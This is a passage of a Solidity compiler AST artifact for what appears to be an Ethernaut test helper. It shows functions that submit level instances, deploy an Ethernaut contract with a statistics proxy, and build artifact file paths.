Ethernaut"},"typeName":{"id":66469,"nodeType":"UserDefinedTypeName","pathNode":{"id":66468,"name":"Ethernaut","nameLocations":["1353:9:154"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"1353:9:154"},"referencedDeclaration":49101,"src":"1353:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"constant":false,"id":66473,"mutability":"mutable","name":"level","nameLocation":"1380:5:154","nodeType":"VariableDeclaration","scope":66525,"src":"1374:11:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"},"typeName":{"id":66472,"nodeType":"UserDefinedTypeName","pathNode":{"id":66471,"name":"Level","nameLocations":["1374:5:154"],"nodeType":"IdentifierPath","referencedDeclaration":55508,"src":"1374:5:154"},"referencedDeclaration":55508,"src":"1374:5:154","typeDescriptions":{"typeIdentifier":"t_contract$_Level_$55508","typeString":"contract Level"}},"visibility":"internal"},{"constant":false,"id":66475,"mutability":"mutable","name":"value","nameLocation":"1395:5:154","nodeType":"VariableDeclaration","scope":66525,"src":"1387:13:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":66474,"name":"uint256","nodeType":"ElementaryTypeName","src":"1387:7:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"1352:49:154"},"returnParameters":{"id":66479,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66478,"mutability":"mutable","name":"instance","nameLocation":"1426:8:154","nodeType":"VariableDeclaration","scope":66525,"src":"1418:16:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":66477,"name":"address","nodeType":"ElementaryTypeName","src":"1418:7:154","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1417:18:154"},"scope":66673,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":66571,"nodeType":"FunctionDefinition","src":"1676:349:154","nodes":[],"body":{"id":66570,"nodeType":"Block","src":"1766:259:154","nodes":[],"statements":[{"expression":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":66535,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1776:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66537,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1779:10:154","memberName":"recordLogs","nodeType":"MemberAccess","referencedDeclaration":12617,"src":"1776:13:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$__$","typeString":"function () external"}},"id":66538,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1776:15:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66539,"nodeType":"ExpressionStatement","src":"1776:15:154"},{"expression":{"arguments":[{"arguments":[{"id":66545,"name":"instance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66530,"src":"1839:8:154","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":66544,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"1831:8:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_payable_$","typeString":"type(address payable)"},"typeName":{"id":66543,"name":"address","nodeType":"ElementaryTypeName","src":"1831:8:154","stateMutability":"payable","typeDescriptions":{}}},"id":66546,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1831:17:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":66540,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66528,"src":"1801:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":66542,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1811:19:154","memberName":"submitLevelInstance","nodeType":"MemberAccess","referencedDeclaration":49100,"src":"1801:29:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_payable_$returns$__$","typeString":"function (address payable) external"}},"id":66547,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1801:48:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66548,"nodeType":"ExpressionStatement","src":"1801:48:154"},{"assignments":[66554],"declarations":[{"constant":false,"id":66554,"mutability":"mutable","name":"entries","nameLocation":"1875:7:154","nodeType":"VariableDeclaration","scope":66570,"src":"1859:23:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log[]"},"typeName":{"baseType":{"id":66552,"nodeType":"UserDefinedTypeName","pathNode":{"id":66551,"name":"Vm.Log","nameLocations":["1859:2:154","1862:3:154"],"nodeType":"IdentifierPath","referencedDeclaration":12060,"src":"1859:6:154"},"referencedDeclaration":12060,"src":"1859:6:154","typeDescriptions":{"typeIdentifier":"t_struct$_Log_$12060_storage_ptr","typeString":"struct VmSafe.Log"}},"id":66553,"nodeType":"ArrayTypeName","src":"1859:8:154","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_storage_$dyn_storage_ptr","typeString":"struct VmSafe.Log[]"}},"visibility":"internal"}],"id":66558,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":66555,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"1885:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66556,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1888:15:154","memberName":"getRecordedLogs","nodeType":"MemberAccess","referencedDeclaration":12595,"src":"1885:18:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$__$returns$_t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr_$","typeString":"function () external returns (struct VmSafe.Log memory[] memory)"}},"id":66557,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"1885:20:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"nodeType":"VariableDeclarationStatement","src":"1859:46:154"},{"condition":{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":66562,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":66559,"name":"entries","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66554,"src":"1920:7:154","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_Log_$12060_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.Log memory[] memory"}},"id":66560,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"1928:6:154","memberName":"length","nodeType":"MemberAccess","src":"1920:14:154","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":">","rightExpression":{"hexValue":"31","id":66561,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"1937:1:154","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"src":"1920:18:154","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"falseBody":{"id":66568,"nodeType":"Block","src":"1982:37:154","statements":[{"expression":{"hexValue":"66616c7365","id":66566,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"2003:5:154","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"functionReturnParameters":66534,"id":66567,"nodeType":"Return","src":"1996:12:154"}]},"id":66569,"nodeType":"IfStatement","src":"1916:103:154","trueBody":{"id":66565,"nodeType":"Block","src":"1940:36:154","statements":[{"expression":{"hexValue":"74727565","id":66563,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"1961:4:154","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"true"},"functionReturnParameters":66534,"id":66564,"nodeType":"Return","src":"1954:11:154"}]}}]},"functionSelector":"9b59adbc","implemented":true,"kind":"function","modifiers":[],"name":"submitLevelInstance","nameLocation":"1685:19:154","parameters":{"id":66531,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66528,"mutability":"mutable","name":"ethernaut","nameLocation":"1715:9:154","nodeType":"VariableDeclaration","scope":66571,"src":"1705:19:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":66527,"nodeType":"UserDefinedTypeName","pathNode":{"id":66526,"name":"Ethernaut","nameLocations":["1705:9:154"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"1705:9:154"},"referencedDeclaration":49101,"src":"1705:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"constant":false,"id":66530,"mutability":"mutable","name":"instance","nameLocation":"1734:8:154","nodeType":"VariableDeclaration","scope":66571,"src":"1726:16:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":66529,"name":"address","nodeType":"ElementaryTypeName","src":"1726:7:154","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"1704:39:154"},"returnParameters":{"id":66534,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66533,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":66571,"src":"1760:4:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":66532,"name":"bool","nodeType":"ElementaryTypeName","src":"1760:4:154","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"1759:6:154"},"scope":66673,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":66624,"nodeType":"FunctionDefinition","src":"2031:325:154","nodes":[],"body":{"id":66623,"nodeType":"Block","src":"2109:247:154","nodes":[],"statements":[{"assignments":[66581],"declarations":[{"constant":false,"id":66581,"mutability":"mutable","name":"ethernaut","nameLocation":"2129:9:154","nodeType":"VariableDeclaration","scope":66623,"src":"2119:19:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":66580,"nodeType":"UserDefinedTypeName","pathNode":{"id":66579,"name":"Ethernaut","nameLocations":["2119:9:154"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"2119:9:154"},"referencedDeclaration":49101,"src":"2119:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"}],"id":66586,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":66584,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2141:13:154","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function () returns (contract Ethernaut)"},"typeName":{"id":66583,"nodeType":"UserDefinedTypeName","pathNode":{"id":66582,"name":"Ethernaut","nameLocations":["2145:9:154"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"2145:9:154"},"referencedDeclaration":49101,"src":"2145:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}}},"id":66585,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2141:15:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"VariableDeclarationStatement","src":"2119:37:154"},{"assignments":[66589],"declarations":[{"constant":false,"id":66589,"mutability":"mutable","name":"stats","nameLocation":"2177:5:154","nodeType":"VariableDeclaration","scope":66623,"src":"2166:16:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"},"typeName":{"id":66588,"nodeType":"UserDefinedTypeName","pathNode":{"id":66587,"name":"Statistics","nameLocations":["2166:10:154"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"2166:10:154"},"referencedDeclaration":56450,"src":"2166:10:154","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"visibility":"internal"}],"id":66611,"initialValue":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"arguments":[],"expression":{"argumentTypes":[],"id":66600,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2227:14:154","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_Statistics_$56450_$","typeString":"function () returns (contract Statistics)"},"typeName":{"id":66599,"nodeType":"UserDefinedTypeName","pathNode":{"id":66598,"name":"Statistics","nameLocations":["2231:10:154"],"nodeType":"IdentifierPath","referencedDeclaration":56450,"src":"2231:10:154"},"referencedDeclaration":56450,"src":"2231:10:154","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}},"id":66601,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2227:16:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}],"id":66597,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2219:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":66596,"name":"address","nodeType":"ElementaryTypeName","src":"2219:7:154","typeDescriptions":{}}},"id":66602,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2219:25:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":66603,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66573,"src":"2246:5:154","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[{"id":66606,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66581,"src":"2261:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}],"id":66605,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2253:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":66604,"name":"address","nodeType":"ElementaryTypeName","src":"2253:7:154","typeDescriptions":{}}},"id":66607,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2253:18:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_address","typeString":"address"}],"id":66595,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"2204:14:154","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$_t_address_$_t_address_$_t_address_$returns$_t_contract$_ProxyStats_$58028_$","typeString":"function (address,address,address) returns (contract ProxyStats)"},"typeName":{"id":66594,"nodeType":"UserDefinedTypeName","pathNode":{"id":66593,"name":"ProxyStats","nameLocations":["2208:10:154"],"nodeType":"IdentifierPath","referencedDeclaration":58028,"src":"2208:10:154"},"referencedDeclaration":58028,"src":"2208:10:154","typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}}},"id":66608,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2204:68:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_ProxyStats_$58028","typeString":"contract ProxyStats"}],"id":66592,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2196:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":66591,"name":"address","nodeType":"ElementaryTypeName","src":"2196:7:154","typeDescriptions":{}}},"id":66609,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2196:77:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":66590,"name":"Statistics","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":56450,"src":"2185:10:154","typeDescriptions":{"typeIdentifier":"t_type$_t_contract$_Statistics_$56450_$","typeString":"type(contract Statistics)"}},"id":66610,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2185:89:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}},"nodeType":"VariableDeclarationStatement","src":"2166:108:154"},{"expression":{"arguments":[{"arguments":[{"id":66617,"name":"stats","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66589,"src":"2316:5:154","typeDescriptions":{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_contract$_Statistics_$56450","typeString":"contract Statistics"}],"id":66616,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2308:7:154","typeDescriptions":{"typeIdentifier":"t_type$_t_address_$","typeString":"type(address)"},"typeName":{"id":66615,"name":"address","nodeType":"ElementaryTypeName","src":"2308:7:154","typeDescriptions":{}}},"id":66618,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2308:14:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":66612,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66581,"src":"2284:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":66614,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2294:13:154","memberName":"setStatistics","nodeType":"MemberAccess","referencedDeclaration":48927,"src":"2284:23:154","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":66619,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2284:39:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":66620,"nodeType":"ExpressionStatement","src":"2284:39:154"},{"expression":{"id":66621,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66581,"src":"2340:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"functionReturnParameters":66578,"id":66622,"nodeType":"Return","src":"2333:16:154"}]},"functionSelector":"85db81cc","implemented":true,"kind":"function","modifiers":[],"name":"getEthernautWithStatsProxy","nameLocation":"2040:26:154","parameters":{"id":66574,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66573,"mutability":"mutable","name":"owner","nameLocation":"2075:5:154","nodeType":"VariableDeclaration","scope":66624,"src":"2067:13:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":66572,"name":"address","nodeType":"ElementaryTypeName","src":"2067:7:154","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"2066:15:154"},"returnParameters":{"id":66578,"nodeType":"ParameterList","parameters":[{"constant":false,"id":66577,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":66624,"src":"2098:9:154","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":66576,"nodeType":"UserDefinedTypeName","pathNode":{"id":66575,"name":"Ethernaut","nameLocations":["2098:9:154"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"2098:9:154"},"referencedDeclaration":49101,"src":"2098:9:154","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"}],"src":"2097:11:154"},"scope":66673,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":66672,"nodeType":"FunctionDefinition","src":"2362:480:154","nodes":[],"body":{"id":66671,"nodeType":"Block","src":"2443:399:154","nodes":[],"statements":[{"assignments":[66632],"declarations":[{"constant":false,"id":66632,"mutability":"mutable","name":"root","nameLocation":"2467:4:154","nodeType":"VariableDeclaration","scope":66671,"src":"2453:18:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":66631,"name":"string","nodeType":"ElementaryTypeName","src":"2453:6:154","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":66636,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":66633,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"2474:2:154","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":66634,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2477:11:154","memberName":"projectRoot","nodeType":"MemberAccess","referencedDeclaration":12765,"src":"2474:14:154","typeDescriptions":{"typeIdentifier":"t_function_external_view$__$returns$_t_string_memory_ptr_$","typeString":"function () view external returns (string memory)"}},"id":66635,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2474:16:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"nodeType":"VariableDeclarationStatement","src":"2453:37:154"},{"assignments":[66638],"declarations":[{"constant":false,"id":66638,"mutability":"mutable","name":"path","nameLocation":"2514:4:154","nodeType":"VariableDeclaration","scope":66671,"src":"2500:18:154","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":66637,"name":"string","nodeType":"ElementaryTypeName","src":"2500:6:154","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"id":66655,"initialValue":{"arguments":[{"id":66642,"name":"root","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66632,"src":"2547:4:154","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"arguments":[{"arguments":[{"hexValue":"2f6f75742f","id":66647,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2577:7:154","typeDescriptions":{"typeIdentifier":"t_stringliteral_14464b512e9399676a8c8ee005bb9bbf6643e28a3cfdad96f6fc5d7fe1fe2bb8","typeString":"literal_string \"/out/\""},"value":"/out/"},{"id":66648,"name":"contractName","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66626,"src":"2586:12:154","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"2e736f6c2f","id":66649,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2600:7:154","typeDescriptions":{"typeIdentifier":"t_stringliteral_390c0a8e2f0c3517ab381f25c8ab91d4341c76c23ac941602e6856fa3a6de49a","typeString":"literal_string \".sol/\""},"value":".sol/"},{"id":66650,"name":"contractName","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66626,"src":"2609:12:154","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"hexValue":"2e6a736f6e","id":66651,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"2623:7:154","typeDescriptions":{"typeIdentifier":"t_stringliteral_94311adc0a0cd4e10be11b23bd4316b8cffa4adf693e8f96f5c075aa439a7972","typeString":"literal_string \".json\""},"value":".json"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_14464b512e9399676a8c8ee005bb9bbf6643e28a3cfdad96f6fc5d7fe1fe2bb8","typeString":"literal_string \"/out/\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_390c0a8e2f0c3517ab381f25c8ab91d4341c76c23ac941602e6856fa3a6de49a","typeString":"literal_string \".sol/\""},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_stringliteral_94311adc0a0cd4e10be11b23bd4316b8cffa4adf693e8f96f5c075aa439a7972","typeString":"literal_string \".json\""}],"expression":{"id":66645,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"2560:3:154","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":66646,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"2564:12:154","memberName":"encodePacked","nodeType":"MemberAccess","src":"2560:16:154","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":66652,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2560:71:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":66644,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2553:6:154","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":66643,"name":"string","nodeType":"ElementaryTypeName","src":"2553:6:154","typeDescriptions":{}}},"id":66653,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"2553:79:154","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":66640,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"2533:6:154","typeDescriptions":{"typeIdentifier":"t_type$_t_string_storage_ptr_$","typeString":"type(string storage pointer)"},"typeName":{"id":66639,"name":"string","nodeType":"ElementaryTypeName","src":"2533:6:154","typeDescriptions":{}}},"id":66641,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"2540:6:154","memberName":"concat","nodeType":"MemberAccess","src":"2533:13:154","typeDescriptions":{"typeIdentifier":"t_function_stringconcat_pure$__$returns$_t_string_memory_ptr_$","typeString":"function () pure returns (string 